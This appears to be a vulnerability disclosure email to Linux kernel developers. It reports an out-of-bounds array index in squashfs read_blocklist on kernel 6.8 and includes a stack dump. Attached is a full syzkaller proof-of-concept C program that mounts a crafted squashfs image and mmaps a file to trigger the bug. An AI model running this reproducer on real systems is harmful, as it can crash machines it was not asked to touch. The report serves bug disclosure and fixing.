UBSAN array-index-out-of-bounds in read_blocklist

["Ubisectech Sirius" <bugreport@ubisectech.com>]

[-- Attachment #1: Type: text/plain, Size: 2439 bytes --]

Hello.
We are Ubisectech Sirius Team, the vulnerability lab of China ValiantSec. Recently, our team has discovered a issue in Linux kernel 6.8. Attached to the email were a PoC file of the issue.

Stack dump:
------------[ cut here ]------------
UBSAN: array-index-out-of-bounds in fs/squashfs/file.c:256:34
index 4294967295 is out of range for type 'meta_entry [127]'
CPU: 1 PID: 16927 Comm: syz-executor.0 Not tainted 6.8.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:88 [inline]
 dump_stack_lvl+0x136/0x150 lib/dump_stack.c:106
 ubsan_epilogue lib/ubsan.c:217 [inline]
 __ubsan_handle_out_of_bounds+0xd5/0x130 lib/ubsan.c:347
 fill_meta_index fs/squashfs/file.c:256 [inline]
 read_blocklist+0x175e/0x1790 fs/squashfs/file.c:333
 squashfs_readahead+0x14fa/0x22d0 fs/squashfs/file.c:591
 read_pages+0x1a2/0xd70 mm/readahead.c:160
 page_cache_ra_unbounded+0x477/0x5f0 mm/readahead.c:269
 do_page_cache_ra mm/readahead.c:299 [inline]
 page_cache_ra_order+0x772/0xa00 mm/readahead.c:544
 do_sync_mmap_readahead mm/filemap.c:3153 [inline]
 filemap_fault+0x1691/0x3390 mm/filemap.c:3245
 __do_fault+0x108/0x490 mm/memory.c:4396
 do_read_fault mm/memory.c:4758 [inline]
 do_fault mm/memory.c:4888 [inline]
 do_pte_missing mm/memory.c:3745 [inline]
 handle_pte_fault mm/memory.c:5164 [inline]
 __handle_mm_fault+0x340a/0x48b0 mm/memory.c:5305
 handle_mm_fault+0x3c2/0xa40 mm/memory.c:5470
 do_user_addr_fault+0x2ed/0x1010 arch/x86/mm/fault.c:1355
 handle_page_fault arch/x86/mm/fault.c:1498 [inline]
 exc_page_fault+0x99/0x180 arch/x86/mm/fault.c:1554
 asm_exc_page_fault+0x26/0x30 arch/x86/include/asm/idtentry.h:570
RIP: 0033:0x7f8446a28202
Code: 48 63 c3 5b c3 0f 1f 00 f3 0f 1e fa 48 89 7c 24 f0 48 89 74 24 e8 48 89 54 24 e0 48 8b 4c 24 f0 48 8b 54 24 e8 48 8b 74 24 e0 <8b> 41 40 23 81 00 01 00 00 f3 0f 6f 06 c1 e0 06 48 01 d0 0f 11 00
RSP: 002b:00007f8447755018 EFLAGS: 00010212
RAX: 00007f8446a281e0 RBX: 00007f8446bcbf80 RCX: 0000000020ff0000
RDX: 0000000000000000 RSI: 0000000020000000 RDI: 0000000020ff0000
RBP: 00007f8446af14a6 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000020ff0000 R11: 0000000020000000 R12: 0000000000000000
R13: 000000000000000b R14: 00007f8446bcbf80 R15: 00007f8447735000
 </TASK>
---[ end trace ]---

Thank you for taking the time to read this email and we look forward to working with you further.











[-- Attachment #2: poc.c --]
[-- Type: application/octet-stream, Size: 22286 bytes --]

// autogenerated by syzkaller (https://github.com/google/syzkaller)

#define _GNU_SOURCE

#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <setjmp.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <linux/capability.h>
#include <linux/loop.h>

#ifndef __NR_memfd_create
#define __NR_memfd_create 319
#endif

static unsigned long long procid;

static bool write_file(const char* file, const char* what, ...)
{
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

#define SIZEOF_IO_URING_SQE 64
#define SIZEOF_IO_URING_CQE 16
#define SQ_HEAD_OFFSET 0
#define SQ_TAIL_OFFSET 64
#define SQ_RING_MASK_OFFSET 256
#define SQ_RING_ENTRIES_OFFSET 264
#define SQ_FLAGS_OFFSET 276
#define SQ_DROPPED_OFFSET 272
#define CQ_HEAD_OFFSET 128
#define CQ_TAIL_OFFSET 192
#define CQ_RING_MASK_OFFSET 260
#define CQ_RING_ENTRIES_OFFSET 268
#define CQ_RING_OVERFLOW_OFFSET 284
#define CQ_FLAGS_OFFSET 280
#define CQ_CQES_OFFSET 320

static long syz_io_uring_submit(volatile long a0, volatile long a1,
                                volatile long a2)
{
  char* ring_ptr = (char*)a0;
  char* sqes_ptr = (char*)a1;
  char* sqe = (char*)a2;
  uint32_t sq_ring_mask = *(uint32_t*)(ring_ptr + SQ_RING_MASK_OFFSET);
  uint32_t* sq_tail_ptr = (uint32_t*)(ring_ptr + SQ_TAIL_OFFSET);
  uint32_t sq_tail = *sq_tail_ptr & sq_ring_mask;
  char* sqe_dest = sqes_ptr + sq_tail * SIZEOF_IO_URING_SQE;
  memcpy(sqe_dest, sqe, SIZEOF_IO_URING_SQE);
  uint32_t sq_tail_next = *sq_tail_ptr + 1;
  __atomic_store_n(sq_tail_ptr, sq_tail_next, __ATOMIC_RELEASE);
  return 0;
}

//% This code is derived from puff.{c,h}, found in the zlib development. The
//% original files come with the following copyright notice:

//% Copyright (C) 2002-2013 Mark Adler, all rights reserved
//% version 2.3, 21 Jan 2013
//% This software is provided 'as-is', without any express or implied
//% warranty.  In no event will the author be held liable for any damages
//% arising from the use of this software.
//% Permission is granted to anyone to use this software for any purpose,
//% including commercial applications, and to alter it and redistribute it
//% freely, subject to the following restrictions:
//% 1. The origin of this software must not be misrepresented; you must not
//%    claim that you wrote the original software. If you use this software
//%    in a product, an acknowledgment in the product documentation would be
//%    appreciated but is not required.
//% 2. Altered source versions must be plainly marked as such, and must not be
//%    misrepresented as being the original software.
//% 3. This notice may not be removed or altered from any source distribution.
//% Mark Adler    madler@alumni.caltech.edu

//% BEGIN CODE DERIVED FROM puff.{c,h}

#define MAXBITS 15
#define MAXLCODES 286
#define MAXDCODES 30
#define MAXCODES (MAXLCODES + MAXDCODES)
#define FIXLCODES 288

struct puff_state {
  unsigned char* out;
  unsigned long outlen;
  unsigned long outcnt;
  const unsigned char* in;
  unsigned long inlen;
  unsigned long incnt;
  int bitbuf;
  int bitcnt;
  jmp_buf env;
};
static int puff_bits(struct puff_state* s, int need)
{
  long val = s->bitbuf;
  while (s->bitcnt < need) {
    if (s->incnt == s->inlen)
      longjmp(s->env, 1);
    val |= (long)(s->in[s->incnt++]) << s->bitcnt;
    s->bitcnt += 8;
  }
  s->bitbuf = (int)(val >> need);
  s->bitcnt -= need;
  return (int)(val & ((1L << need) - 1));
}
static int puff_stored(struct puff_state* s)
{
  s->bitbuf = 0;
  s->bitcnt = 0;
  if (s->incnt + 4 > s->inlen)
    return 2;
  unsigned len = s->in[s->incnt++];
  len |= s->in[s->incnt++] << 8;
  if (s->in[s->incnt++] != (~len & 0xff) ||
      s->in[s->incnt++] != ((~len >> 8) & 0xff))
    return -2;
  if (s->incnt + len > s->inlen)
    return 2;
  if (s->outcnt + len > s->outlen)
    return 1;
  for (; len--; s->outcnt++, s->incnt++) {
    if (s->in[s->incnt])
      s->out[s->outcnt] = s->in[s->incnt];
  }
  return 0;
}
struct puff_huffman {
  short* count;
  short* symbol;
};
static int puff_decode(struct puff_state* s, const struct puff_huffman* h)
{
  int first = 0;
  int index = 0;
  int bitbuf = s->bitbuf;
  int left = s->bitcnt;
  int code = first = index = 0;
  int len = 1;
  short* next = h->count + 1;
  while (1) {
    while (left--) {
      code |= bitbuf & 1;
      bitbuf >>= 1;
      int count = *next++;
      if (code - count < first) {
        s->bitbuf = bitbuf;
        s->bitcnt = (s->bitcnt - len) & 7;
        return h->symbol[index + (code - first)];
      }
      index += count;
      first += count;
      first <<= 1;
      code <<= 1;
      len++;
    }
    left = (MAXBITS + 1) - len;
    if (left == 0)
      break;
    if (s->incnt == s->inlen)
      longjmp(s->env, 1);
    bitbuf = s->in[s->incnt++];
    if (left > 8)
      left = 8;
  }
  return -10;
}
static int puff_construct(struct puff_huffman* h, const short* length, int n)
{
  int len;
  for (len = 0; len <= MAXBITS; len++)
    h->count[len] = 0;
  int symbol;
  for (symbol = 0; symbol < n; symbol++)
    (h->count[length[symbol]])++;
  if (h->count[0] == n)
    return 0;
  int left = 1;
  for (len = 1; len <= MAXBITS; len++) {
    left <<= 1;
    left -= h->count[len];
    if (left < 0)
      return left;
  }
  short offs[MAXBITS + 1];
  offs[1] = 0;
  for (len = 1; len < MAXBITS; len++)
    offs[len + 1] = offs[len] + h->count[len];
  for (symbol = 0; symbol < n; symbol++)
    if (length[symbol] != 0)
      h->symbol[offs[length[symbol]]++] = symbol;
  return left;
}
static int puff_codes(struct puff_state* s, const struct puff_huffman* lencode,
                      const struct puff_huffman* distcode)
{
  static const short lens[29] = {3,  4,  5,  6,   7,   8,   9,   10,  11, 13,
                                 15, 17, 19, 23,  27,  31,  35,  43,  51, 59,
                                 67, 83, 99, 115, 131, 163, 195, 227, 258};
  static const short lext[29] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
                                 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0};
  static const short dists[30] = {
      1,    2,    3,    4,    5,    7,    9,    13,    17,    25,
      33,   49,   65,   97,   129,  193,  257,  385,   513,   769,
      1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577};
  static const short dext[30] = {0, 0, 0,  0,  1,  1,  2,  2,  3,  3,
                                 4, 4, 5,  5,  6,  6,  7,  7,  8,  8,
                                 9, 9, 10, 10, 11, 11, 12, 12, 13, 13};
  int symbol;
  do {
    symbol = puff_decode(s, lencode);
    if (symbol < 0)
      return symbol;
    if (symbol < 256) {
      if (s->outcnt == s->outlen)
        return 1;
      if (symbol)
        s->out[s->outcnt] = symbol;
      s->outcnt++;
    } else if (symbol > 256) {
      symbol -= 257;
      if (symbol >= 29)
        return -10;
      int len = lens[symbol] + puff_bits(s, lext[symbol]);
      symbol = puff_decode(s, distcode);
      if (symbol < 0)
        return symbol;
      unsigned dist = dists[symbol] + puff_bits(s, dext[symbol]);
      if (dist > s->outcnt)
        return -11;
      if (s->outcnt + len > s->outlen)
        return 1;
      while (len--) {
        if (dist <= s->outcnt && s->out[s->outcnt - dist])
          s->out[s->outcnt] = s->out[s->outcnt - dist];
        s->outcnt++;
      }
    }
  } while (symbol != 256);
  return 0;
}
static int puff_fixed(struct puff_state* s)
{
  static int virgin = 1;
  static short lencnt[MAXBITS + 1], lensym[FIXLCODES];
  static short distcnt[MAXBITS + 1], distsym[MAXDCODES];
  static struct puff_huffman lencode, distcode;
  if (virgin) {
    lencode.count = lencnt;
    lencode.symbol = lensym;
    distcode.count = distcnt;
    distcode.symbol = distsym;
    short lengths[FIXLCODES];
    int symbol;
    for (symbol = 0; symbol < 144; symbol++)
      lengths[symbol] = 8;
    for (; symbol < 256; symbol++)
      lengths[symbol] = 9;
    for (; symbol < 280; symbol++)
      lengths[symbol] = 7;
    for (; symbol < FIXLCODES; symbol++)
      lengths[symbol] = 8;
    puff_construct(&lencode, lengths, FIXLCODES);
    for (symbol = 0; symbol < MAXDCODES; symbol++)
      lengths[symbol] = 5;
    puff_construct(&distcode, lengths, MAXDCODES);
    virgin = 0;
  }
  return puff_codes(s, &lencode, &distcode);
}
static int puff_dynamic(struct puff_state* s)
{
  static const short order[19] = {16, 17, 18, 0, 8,  7, 9,  6, 10, 5,
                                  11, 4,  12, 3, 13, 2, 14, 1, 15};
  int nlen = puff_bits(s, 5) + 257;
  int ndist = puff_bits(s, 5) + 1;
  int ncode = puff_bits(s, 4) + 4;
  if (nlen > MAXLCODES || ndist > MAXDCODES)
    return -3;
  short lengths[MAXCODES];
  int index;
  for (index = 0; index < ncode; index++)
    lengths[order[index]] = puff_bits(s, 3);
  for (; index < 19; index++)
    lengths[order[index]] = 0;
  short lencnt[MAXBITS + 1], lensym[MAXLCODES];
  struct puff_huffman lencode = {lencnt, lensym};
  int err = puff_construct(&lencode, lengths, 19);
  if (err != 0)
    return -4;
  index = 0;
  while (index < nlen + ndist) {
    int symbol;
    int len;
    symbol = puff_decode(s, &lencode);
    if (symbol < 0)
      return symbol;
    if (symbol < 16)
      lengths[index++] = symbol;
    else {
      len = 0;
      if (symbol == 16) {
        if (index == 0)
          return -5;
        len = lengths[index - 1];
        symbol = 3 + puff_bits(s, 2);
      } else if (symbol == 17)
        symbol = 3 + puff_bits(s, 3);
      else
        symbol = 11 + puff_bits(s, 7);
      if (index + symbol > nlen + ndist)
        return -6;
      while (symbol--)
        lengths[index++] = len;
    }
  }
  if (lengths[256] == 0)
    return -9;
  err = puff_construct(&lencode, lengths, nlen);
  if (err && (err < 0 || nlen != lencode.count[0] + lencode.count[1]))
    return -7;
  short distcnt[MAXBITS + 1], distsym[MAXDCODES];
  struct puff_huffman distcode = {distcnt, distsym};
  err = puff_construct(&distcode, lengths + nlen, ndist);
  if (err && (err < 0 || ndist != distcode.count[0] + distcode.count[1]))
    return -8;
  return puff_codes(s, &lencode, &distcode);
}
static int puff(unsigned char* dest, unsigned long* destlen,
                const unsigned char* source, unsigned long sourcelen)
{
  struct puff_state s = {
      .out = dest,
      .outlen = *destlen,
      .outcnt = 0,
      .in = source,
      .inlen = sourcelen,
      .incnt = 0,
      .bitbuf = 0,
      .bitcnt = 0,
  };
  int err;
  if (setjmp(s.env) != 0)
    err = 2;
  else {
    int last;
    do {
      last = puff_bits(&s, 1);
      int type = puff_bits(&s, 2);
      err = type == 0 ? puff_stored(&s)
                      : (type == 1 ? puff_fixed(&s)
                                   : (type == 2 ? puff_dynamic(&s) : -1));
      if (err != 0)
        break;
    } while (!last);
  }
  *destlen = s.outcnt;
  return err;
}

//% END CODE DERIVED FROM puff.{c,h}

#define ZLIB_HEADER_WIDTH 2

static int puff_zlib_to_file(const unsigned char* source,
                             unsigned long sourcelen, int dest_fd)
{
  if (sourcelen < ZLIB_HEADER_WIDTH)
    return 0;
  source += ZLIB_HEADER_WIDTH;
  sourcelen -= ZLIB_HEADER_WIDTH;
  const unsigned long max_destlen = 132 << 20;
  void* ret = mmap(0, max_destlen, PROT_WRITE | PROT_READ,
                   MAP_PRIVATE | MAP_ANON, -1, 0);
  if (ret == MAP_FAILED)
    return -1;
  unsigned char* dest = (unsigned char*)ret;
  unsigned long destlen = max_destlen;
  int err = puff(dest, &destlen, source, sourcelen);
  if (err) {
    munmap(dest, max_destlen);
    errno = -err;
    return -1;
  }
  if (write(dest_fd, dest, destlen) != (ssize_t)destlen) {
    munmap(dest, max_destlen);
    return -1;
  }
  return munmap(dest, max_destlen);
}

static int setup_loop_device(unsigned char* data, unsigned long size,
                             const char* loopname, int* loopfd_p)
{
  int err = 0, loopfd = -1;
  int memfd = syscall(__NR_memfd_create, "syzkaller", 0);
  if (memfd == -1) {
    err = errno;
    goto error;
  }
  if (puff_zlib_to_file(data, size, memfd)) {
    err = errno;
    goto error_close_memfd;
  }
  loopfd = open(loopname, O_RDWR);
  if (loopfd == -1) {
    err = errno;
    goto error_close_memfd;
  }
  if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
    if (errno != EBUSY) {
      err = errno;
      goto error_close_loop;
    }
    ioctl(loopfd, LOOP_CLR_FD, 0);
    usleep(1000);
    if (ioctl(loopfd, LOOP_SET_FD, memfd)) {
      err = errno;
      goto error_close_loop;
    }
  }
  close(memfd);
  *loopfd_p = loopfd;
  return 0;

error_close_loop:
  close(loopfd);
error_close_memfd:
  close(memfd);
error:
  errno = err;
  return -1;
}

static void reset_loop_device(const char* loopname)
{
  int loopfd = open(loopname, O_RDWR);
  if (loopfd == -1) {
    return;
  }
  if (ioctl(loopfd, LOOP_CLR_FD, 0)) {
  }
  close(loopfd);
}

static long syz_mount_image(volatile long fsarg, volatile long dir,
                            volatile long flags, volatile long optsarg,
                            volatile long change_dir,
                            volatile unsigned long size, volatile long image)
{
  unsigned char* data = (unsigned char*)image;
  int res = -1, err = 0, need_loop_device = !!size;
  char* mount_opts = (char*)optsarg;
  char* target = (char*)dir;
  char* fs = (char*)fsarg;
  char* source = NULL;
  char loopname[64];
  if (need_loop_device) {
    int loopfd;
    memset(loopname, 0, sizeof(loopname));
    snprintf(loopname, sizeof(loopname), "/dev/loop%llu", procid);
    if (setup_loop_device(data, size, loopname, &loopfd) == -1)
      return -1;
    close(loopfd);
    source = loopname;
  }
  mkdir(target, 0777);
  char opts[256];
  memset(opts, 0, sizeof(opts));
  if (strlen(mount_opts) > (sizeof(opts) - 32)) {
  }
  strncpy(opts, mount_opts, sizeof(opts) - 32);
  if (strcmp(fs, "iso9660") == 0) {
    flags |= MS_RDONLY;
  } else if (strncmp(fs, "ext", 3) == 0) {
    bool has_remount_ro = false;
    char* remount_ro_start = strstr(opts, "errors=remount-ro");
    if (remount_ro_start != NULL) {
      char after = *(remount_ro_start + strlen("errors=remount-ro"));
      char before = remount_ro_start == opts ? '\0' : *(remount_ro_start - 1);
      has_remount_ro = ((before == '\0' || before == ',') &&
                        (after == '\0' || after == ','));
    }
    if (strstr(opts, "errors=panic") || !has_remount_ro)
      strcat(opts, ",errors=continue");
  } else if (strcmp(fs, "xfs") == 0) {
    strcat(opts, ",nouuid");
  }
  res = mount(source, target, fs, flags, opts);
  if (res == -1) {
    err = errno;
    goto error_clear_loop;
  }
  res = open(target, O_RDONLY | O_DIRECTORY);
  if (res == -1) {
    err = errno;
    goto error_clear_loop;
  }
  if (change_dir) {
    res = chdir(target);
    if (res == -1) {
      err = errno;
    }
  }

error_clear_loop:
  if (need_loop_device)
    reset_loop_device(loopname);
  errno = err;
  return res;
}

static void setup_common()
{
  if (mount(0, "/sys/fs/fuse/connections", "fusectl", 0, 0)) {
  }
}

static void setup_binderfs()
{
  if (mkdir("/dev/binderfs", 0777)) {
  }
  if (mount("binder", "/dev/binderfs", "binder", 0, NULL)) {
  }
  if (symlink("/dev/binderfs", "./binderfs")) {
  }
}

static void loop();

static void sandbox_common()
{
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setsid();
  struct rlimit rlim;
  rlim.rlim_cur = rlim.rlim_max = (200 << 20);
  setrlimit(RLIMIT_AS, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 32 << 20;
  setrlimit(RLIMIT_MEMLOCK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 136 << 20;
  setrlimit(RLIMIT_FSIZE, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 1 << 20;
  setrlimit(RLIMIT_STACK, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 128 << 20;
  setrlimit(RLIMIT_CORE, &rlim);
  rlim.rlim_cur = rlim.rlim_max = 256;
  setrlimit(RLIMIT_NOFILE, &rlim);
  if (unshare(CLONE_NEWNS)) {
  }
  if (mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL)) {
  }
  if (unshare(CLONE_NEWIPC)) {
  }
  if (unshare(0x02000000)) {
  }
  if (unshare(CLONE_NEWUTS)) {
  }
  if (unshare(CLONE_SYSVSEM)) {
  }
  typedef struct {
    const char* name;
    const char* value;
  } sysctl_t;
  static const sysctl_t sysctls[] = {
      {"/proc/sys/kernel/shmmax", "16777216"},
      {"/proc/sys/kernel/shmall", "536870912"},
      {"/proc/sys/kernel/shmmni", "1024"},
      {"/proc/sys/kernel/msgmax", "8192"},
      {"/proc/sys/kernel/msgmni", "1024"},
      {"/proc/sys/kernel/msgmnb", "1024"},
      {"/proc/sys/kernel/sem", "1024 1048576 500 1024"},
  };
  unsigned i;
  for (i = 0; i < sizeof(sysctls) / sizeof(sysctls[0]); i++)
    write_file(sysctls[i].name, sysctls[i].value);
}

static int wait_for_loop(int pid)
{
  if (pid < 0)
    exit(1);
  int status = 0;
  while (waitpid(-1, &status, __WALL) != pid) {
  }
  return WEXITSTATUS(status);
}

static void drop_caps(void)
{
  struct __user_cap_header_struct cap_hdr = {};
  struct __user_cap_data_struct cap_data[2] = {};
  cap_hdr.version = _LINUX_CAPABILITY_VERSION_3;
  cap_hdr.pid = getpid();
  if (syscall(SYS_capget, &cap_hdr, &cap_data))
    exit(1);
  const int drop = (1 << CAP_SYS_PTRACE) | (1 << CAP_SYS_NICE);
  cap_data[0].effective &= ~drop;
  cap_data[0].permitted &= ~drop;
  cap_data[0].inheritable &= ~drop;
  if (syscall(SYS_capset, &cap_hdr, &cap_data))
    exit(1);
}

static int do_sandbox_none(void)
{
  if (unshare(CLONE_NEWPID)) {
  }
  int pid = fork();
  if (pid != 0)
    return wait_for_loop(pid);
  setup_common();
  sandbox_common();
  drop_caps();
  if (unshare(CLONE_NEWNET)) {
  }
  write_file("/proc/sys/net/ipv4/ping_group_range", "0 65535");
  setup_binderfs();
  loop();
  exit(1);
}

uint64_t r[3] = {0xffffffffffffffff, 0xffffffffffffffff, 0x0};

void loop(void)
{
  intptr_t res = 0;
  memcpy((void*)0x20000080, "squashfs\000", 9);
  memcpy((void*)0x200000c0, "./file1\000", 8);
  memcpy(
      (void*)0x20000500,
      "\x78\x9c\xec\x55\xcd\x8a\x13\x41\x10\xfe\x6a\xd2\x49\x76\xd0\xc3\x9e\xbd"
      "\xba\xb8\x7b\xd1\x4c\x66\x41\x7c\x03\x7d\x00\x1f\xc0\x21\x3b\xbb\x2e\xf6"
      "\xfa\x93\x09\x68\xc2\x1e\xc6\x53\x2e\x82\xe2\x4b\x04\x7c\x0a\x0f\x82\x0f"
      "\xe0\x41\xc4\x63\x3c\x28\xe8\x21\x5e\x84\x80\x44\xba\xbb\xa6\xd3\xd1\x98"
      "\x4c\x92\x85\x5c\xfa\x83\xa1\x7e\xfa\xab\xea\xea\xea\x9e\xee\xfb\xd9\x93"
      "\xac\x0e\xe0\xf7\xe8\xbc\x85\x5d\x68\x10\x2e\xe3\x33\x11\x04\x80\x7d\x32"
      "\xbe\x71\xcd\xc8\x9f\x2c\x27\x8c\xaf\xc2\xd8\x4d\xf6\xef\x18\x81\x2f\x6c"
      "\x67\xdd\xde\x87\x17\x46\xed\x3d\x48\xa4\x4c\xdb\x59\x77\x89\x42\x04\x2c"
      "\xe3\xcc\x28\xa5\x48\xeb\x2b\x84\x85\x1c\xd5\x05\xb5\xbc\xd9\x21\x6e\x0b"
      "\x56\x9c\xeb\x25\x87\x25\x52\x22\xdf\xa0\xe6\x57\x33\x1e\xb5\xc1\xff\x70"
      "\x2a\xeb\x55\xb8\xb6\x42\xab\x6d\xea\xc5\x2a\xdf\xca\x91\x2b\xa5\xbb\x51"
      "\xc5\x62\x4e\x75\xe3\x9a\x9d\x13\x45\x25\xa2\x3e\xbd\x36\xdb\xb9\x95\xf6"
      "\x2e\x53\xe6\x1c\xbf\xff\x2a\xb4\x90\x13\xac\x32\x3b\x2c\xb2\xdb\xcf\x03"
      "\x98\x13\xff\x71\x74\xde\x52\x97\xda\x3d\xbe\xc5\x94\xef\xc8\x7c\xc5\x2f"
      "\xa1\x39\xca\x78\xe7\x70\xae\x08\x20\x07\xa8\x82\x09\x15\x1c\xa1\x6f\x4b"
      "\x60\x1f\x40\xa3\x73\xf6\xb8\x91\x75\x7b\xd7\x4f\xcf\x92\x93\xf4\x24\x7d"
      "\x18\xc7\x87\x37\xa3\xf7\x97\x4c\x46\x99\x46\x8d\xe3\x53\x99\x46\x84\x1f"
      "\x36\x3c\x50\x8a\x98\x56\xa9\xfe\xd3\xd0\x8e\x3b\x03\x06\xb9\x6b\x90\x53"
      "\x1a\x33\x29\x74\x72\xd7\x34\xc3\xdc\xde\x07\x57\x9d\xc0\x10\x08\x9c\xd8"
      "\x42\x4e\xf3\xbe\xb5\x39\xea\xec\x53\xad\xb8\x8b\x6b\xfa\x72\x7f\x9a\xab"
      "\xe1\x98\xbd\x7b\x50\xd9\x76\xa0\x96\xc6\x54\xa1\x8d\xa6\x70\xea\x04\xc6"
      "\x96\x75\xa3\xf5\x48\x1e\xf5\x41\x50\xef\xcb\x71\x28\xd3\x68\x00\x81\xa0"
      "\x08\x1b\xa2\x6a\x8d\xd8\x35\x0e\x6f\xd9\xe5\xf7\x59\xee\xb1\xbc\xc3\x72"
      "\xc0\x72\xc8\xb2\x78\xbb\xde\xf0\x5b\x24\x74\x86\xef\x6c\x1d\xe4\x40\x4d"
      "\xb7\xbc\xad\x1f\xaf\x67\x49\xa7\xd3\x6e\x2a\x9f\xd6\x62\xeb\x8b\x77\xed"
      "\xcc\x01\xcf\x5a\xbc\x86\x54\x54\x52\xff\x7b\xaf\x00\xfc\x9a\xe3\xf3\xf0"
      "\xf0\xf0\xf0\xf0\xf0\xf0\xd8\x3a\xfe\x04\x00\x00\xff\xff\xed\x98\x49"
      "\x1d",
      486);
  syz_mount_image(/*fs=*/0x20000080, /*dir=*/0x200000c0,
                  /*flags=MS_I_VERSION|MS_NOSUID|MS_NODEV*/ 0x800006,
                  /*opts=*/0x20000000, /*chdir=*/1, /*size=*/0x1e6,
                  /*img=*/0x20000500);
  memcpy((void*)0x20000100, "./file1\000", 8);
  res = syscall(__NR_openat, /*fd=*/0xffffff9c, /*file=*/0x20000100ul,
                /*flags=O_SYNC|O_NOCTTY|O_NOATIME|FASYNC|O_APPEND*/ 0x143500ul,
                /*mode=*/0ul);
  if (res != -1)
    r[0] = res;
  res = syscall(__NR_dup2, /*oldfd=*/r[0], /*newfd=*/r[0]);
  if (res != -1)
    r[1] = res;
  res = syscall(__NR_mmap, /*addr=*/0x20ff0000ul, /*len=*/0x10000ul,
                /*prot=PROT_SEM|PROT_READ*/ 9ul,
                /*flags=MAP_FIXED|MAP_PRIVATE*/ 0x12ul, /*fd=*/r[1],
                /*offset=*/0x8000000ul);
  if (res != -1)
    r[2] = res;
  syz_io_uring_submit(/*ring_ptr=*/r[2], /*sqes_ptr=*/0, /*sqe=*/0);
}
int main(void)
{
  syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
          /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
          /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
          /*offset=*/0ul);
  do_sandbox_none();
  return 0;
}